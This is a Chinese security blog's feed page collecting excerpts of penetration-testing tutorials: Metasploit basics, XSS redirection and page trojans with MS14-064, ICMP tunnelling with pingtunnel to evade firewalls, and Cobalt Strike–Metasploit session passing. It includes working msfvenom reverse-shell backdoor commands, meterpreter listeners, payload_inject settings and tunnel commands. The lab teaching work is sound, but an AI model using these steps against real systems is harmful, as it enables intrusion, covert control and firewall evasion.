泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 渗透框架
type: channel
link: https://longyusec.com/tag/%E6%B8%97%E9%80%8F%E6%A1%86%E6%9E%B6/
items: 2026最新 Metasploit Framework (MSF) 使用指南
items: XSS高级用法，SEO，挂ma，MS14_064利用
items: 【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF，CS
items: CS与MSF联动，CobaltStrik和MSF联动的方法，msf上线CobaltStrik

2026最新 Metasploit Framework (MSF) 使用指南
type: item
date: 2025-05-18T18:34:08+08:00
description: 引言Metasploit Framework（MSF）是一款功能强大的开源安全漏洞检测工具，被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞，并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用，还包括信息收集、漏洞探测和后渗透攻击等多个环节，因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法，帮助初学者快速上手。一、Metasploit Framework 介绍1.1 MSF 概述Metasploit Framework最初由HD Moore于2003年发布，并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中，同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架，包括漏洞利用模块（exploits）、攻击载荷（payloads）、辅助模块（auxiliary）、编码器（encoders）、空指令（nops）、后渗透模块（post）等多个组件。1.2 MSF 主要组件Exploits（漏洞利用模块）：利用目标系统中的已知漏洞进行攻击。exploit漏洞利用模块路径/usr/share/metasploit-framework/modules/exploits 例如我需要对windows的系统漏洞的利用，我可以查看windows模块Payloads（攻击载荷）：攻击成功后，在目标系统中执行的代码或指令。/usr/share/metasploit-framework/modules/payloads 在Metasploit框架中，Payload扮演着至关重要的角色，主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的，功能单一且易于使用，类似于运行一个简单的程序命令，但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接，并下载额外的组件或应用程序，常见类型有reverse_tcp和bind_tcp，分别实现反向连接和正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。在实际应用中，正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况，但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境，此时被攻击机可主动连接攻击机，即使防火墙阻止进入的流量也无法阻挡外出连接。特别地，当被攻击机的防火墙极度严格，仅允许80或443端口与外部通信时，使用reverse_http或reverse_https Payload进行反向连接成为理想选择。Auxiliary（辅助模块）：执行信息收集、扫描、嗅探等功能，辅助渗透测试。不直接执行攻击。例如，使用SMB_version辅助模块扫描SMB服务版本：use auxiliary/scanner/SMB/SMB_version set RHOSTS 192.168.1.0/24 run 目录如下MSF利用扫描，我的机器上没有这个服务，所以扫不出来。Encoders（编码器）：对Payload进行加密，以绕过安全软件的检测。Nops（空指令）：提高Payload的稳定性和可靠性。Post（后渗透模块）：在取得目标系统控制权后，执行进一步的攻击动作。二、Metasploit Framework 基础安装与配置2.1 Kali Linux 中的 MSF在Kali Linux中，MSF默认已安装，用户可以直接通过终端启动MSF控制台。bash复制代码 msfconsole 2.2 非Kali Linux 环境下的安装在非Kali Linux环境下，用户可以通过以下命令一键安装MSF：bash复制代码 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 安装完成后，建议添加新用户并切换到该用户下运行MSF，以避免权限问题。2.3 更新与升级Kali Linux 环境：apt update apt upgrade metasploit-framework 非Kali Linux 环境：bash复制代码 msfupdate 三、Metasploit Framework 基础用法3.1 启动 MSF 控制台在终端中输入 msfconsole 命令启动MSF控制台。首次启动可能会创建数据库，建议以非root用户启动以确保数据库同步。3.2…

XSS高级用法，SEO，挂ma，MS14_064利用
type: item
date: 2025-05-18T18:32:24+08:00
description: XSS高级用法，SEO，挂ma，MS14_064利用以下所有的针对XSS的利用方式都是对XSS的深一步的学习了解、请勿于未授权环境下进行非法操作！！！XSS平台：https://xssaq.com/ 这里有一个XSSlabs，利用我们的payloadXSS平台已上线查看功能这里面有源码，XSS站点的ua头，还有存储用户cookie信息机器的真实IP地址地址很明确，是我自己的地址广告传播/SEO优化/刷取流量原理通过恶意的XSS代码将正常的页面跳转到目的地的页面，利用网站进行重定向实现引流、广告位传播等等。实操恶意刷取访问量，网页直接跳转 注入成功，再次访问这个页面就会自动跳转到你的页面，从而达到访问量+1第二种，网页延迟跳转 恶意广告展示（需要5块钱吃外卖的记得扫个码嘞，美团优惠卷+平台双减） 三、网页挂马/权限提升（MS14_064）目的 通过木马服务器（Kali）搭建生成一个恶意URL地址，并通过存储型XSS挂到页面中。只要存在未打相应补丁的用户访问了挂马页面，恶意攻击者便获取到了受害者的控制权限（重点在于目的系统是否打了相应补丁）环境木马服务器（Kali MS14-064 IP:192.168.7.129） 受害者（Windows Server 2003 R2 IP:192.168.7.136） 存在 XSS 的服务器（Win10 DVWA靶机 IP:192.168.1.103）MS14_064：受影响的操作系统版本有：Windows Vista、Windows Server 2012、Windows Server 2008、Windows RT、Windows 8.1、Windows 8 以及 Windows 7.打开msf搜索 ms14_064依次设置好参数没有成功，不知道为什么，我win7补丁都卸载了，这里只做演示，可以参考下文https://blog.csdn.net/theRavensea/article/details/136793078 XSS插入地址这个时候就能利用存储型xss漏洞将木马服务器生成的地址插入到网站中，这样只要有人的电脑存在该漏洞，就能上线：可自行测试，我这里不是全新的win7，没有成功学习于：https://blog.csdn.net/Aaron_Miller/article/details/105918848

【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF，CS
type: item
date: 2025-05-18T18:29:02+08:00
description: 会当凌绝顶，一览众山小前言渗透测试中，如果攻击者使用各类上层隧道(例如：HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了，常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，本文主要讲解了【靶机能上TCP和不能上TCP的区别】【利用pingtunnel搭建ICMP隧道，实现靶机上线MSF/CS的过程】，以及它的原理解释，如果哪里说错了，还请师傅们指出，谢谢您。靶机能上TCP首先我们使用MSFvenom生成widows木马 设置好payload开启监听运行即可上线正常情况下木马使用的是TCP协议，靶机能上网，那么靶机不能上网，阻止了防火墙出网呢？也不能走TCP访问攻击机器呢？这个时候MSF就不能通过TCP协议上线，下面将演示MSF通过ICMP协议上线靶机阻止TCP连接环境搭建检查网络通信，可以ping通百度也可以正常访问百度靶机启用防火墙kali攻击机器ping（访问）靶机就不通了靶机阻止防火墙所有出站TCP规则，也就是我们靶机访问不了外网，浏览器打不开百度了设置为阻止全部勾选这个时候可以ping通百度，但是tcp无法访问（浏览器访问网站这个操作，就是走的TCP协议），而ping使用的是icmp协议，所以可以ping通百度，也可以ping（访问）通我们的攻击机没上线成功的过程就不演示了，作用不大注：木马走的都是tcp协议，此时我们禁用了TCP协议，MSF就无法上线，该怎么绕过呢？工具使用这时候我们就需要一个工具MSF隧道搭建工具pingtunnel工具链接链接：https://pan.baidu.com/s/1LsLiszJCdAoZs0I4PfXeWg?pwd=1212提取码：1212PingTunnel是一款常用的ICMP隧道工具，可以跨平台使用，为了避免隧道被滥用，还可以为隧道设置密码。pingtunnel工具是基于网络层面ICMP协议的内网穿透工具。在本次教程中它的主要作用，如图这张图主要介绍了两个部分1、靶机使用容器，将tcp数据包打包为icmp数据包2、MSF接收的时候，将icmp数据包还原成tcp数据包实现过程下载好工具后把他移到kali中kali启用PingTunnel服务器此时kali生成的木马需要是127.0.0.1，端口为靶机监听的地址（原理待会解释）PingTunnel把木马的TCP数据包封装为ICMP数据包，这时候就可以通过ICMP协议发送到攻击机服务器工具使用教程如下命令解释pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1运行查看kali服务端，icmp协议已成功收到靶机的访问请求MSF设置监听端口9999，本地地址为0.0.0.0全局地址当PingTunnel服务器接收到靶机的ICMP数据包的时候，PingTunnel就会将ICMP数据包拆解为TCP数据包，这时候MSF就会接收到此”TCP请求“，即可成功利用icmp隧道成功上线MSF执行命令原理解释再来看这张图结合上面的结构图和这个案例即可得到原理，攻击机器生成木马，并传到靶机上，靶机运行木马在本地的8888端口，而PingTunnel在靶机上将这个端口的TCP流量打包，转发到攻击机刚刚开启的PingTunnel服务器，PingTunnel服务器接收到这个icmp请求之后，将这个ICMP包进行拆解转化为TCP协议，最后将这个TCP协议转发到攻击机器（kali）MSF监听的端口，此时就可以完成MSF上线CS通过ICMP上线CS也是一样的原理，主机cs生成木马，送到靶机，添加两个监听器，靶机自己监听地址kali接受shell地址如下生成payload，选择靶机的监听地址放入靶机运行木马之后，再运行pingtunnel，转发到攻击机的服务器pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1成功上线，如果没上线成功，这个红色的框一定要检查是否正确whoami总结本文详细讲解了在内网渗透中，当常规的网络通信手段（如TCP协议）受阻时，如何利用ICMP隧道技术实现MSF和CS的上线。通过搭建PingTunnel服务器，将TCP数据包封装在ICMP数据包中，利用ICMP协议进行数据传输，从而绕过网络限制。文章还详细解释了ICMP隧道的工作原理，并通过实际案例展示了其应用过程。感今怀昔最新可用，bp+charles小程序抓包教程DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【kali笔记】一款…

CS与MSF联动，CobaltStrik和MSF联动的方法，msf上线CobaltStrik
type: item
date: 2025-05-18T18:29:02+08:00
description: CS与MSF联动0x01 CS与MSFCobaltStrike（简称CS）是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework（简称MSF）的图形化界面工具，而CobaltStrike大家可以理解其为Armitage的商业版。早期版本CobaltSrtike依赖MetasploitFramework框架，而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用，它分为客户端(Client)与服务端(Teamserver)，服务端是一个，客户端可以有多个，团队可进行分布式协团操作。CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器，各有所长。前者更适合做稳控平台，后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动，各自相互依托，从而提升渗透的效率。0x02 CS传递会话到MSF为了方便演示操作，将CS的服务端与MSF服务都设置在同一个IP上。1. CS操作先在CobaltStrike上新建一个监听器（Beacon HTTP）这里的IP端口号指CS服务端利用CobaltStrike生成一个后门文件将后门文件放在受害主机中执行，之后受害主机就会上线到CS了至此，CobaltStrike获得到了一个会话2. MSF操作在MetasploitFramework上开启一个meterpreter监听（reverse_http），用于接收CobaltStrike传递过来到会话use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # MSF所在主机的ip set lport 4444 # MSF所在主机自定义端口号 run 3. 会话传递先在CobaltStrike上创建一个监听（Foreign HTTP），IP 和 端口号需要与MetasploitFramework中设置监听的保持一致然后在CobaltStrike上选中要传递到会话，点击右键选择增加会话（Spawn） ，再选择刚刚创建的监听（Foreign HTTP）上述步骤完成后，在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了0x03 MSF传递会话到CS1. CS操作在CobaltStrike上新建一个监听器（Beacon HTTP）2. MSF操作先通过msfvenom生成后门文件msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe 这里的IP端口号指MSF服务所在主机使用msfconsole启动MetasploitFramework，设置meterpreter监听用于接收后门文件反弹到shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号，与后门文件中的一致 run 将后门文件放置受害主机运行后，MetasploitFramework上会获得一个meterpreter的shell3. 会话传递将获取到的MetasploitFramework会话挂至后台，会看到一个会话sessions idbackground 调用 payload_inject 模块，将指定会话session id注入到新到CobaltStrike会话中use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run 上述步骤完成后，在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了参考文章https://teamssix.com/210129-191714.htmlCobaltstrike 学习笔记（三）CS与MSF联动 - 腾讯云开发者社区-腾讯云 (tencent.com…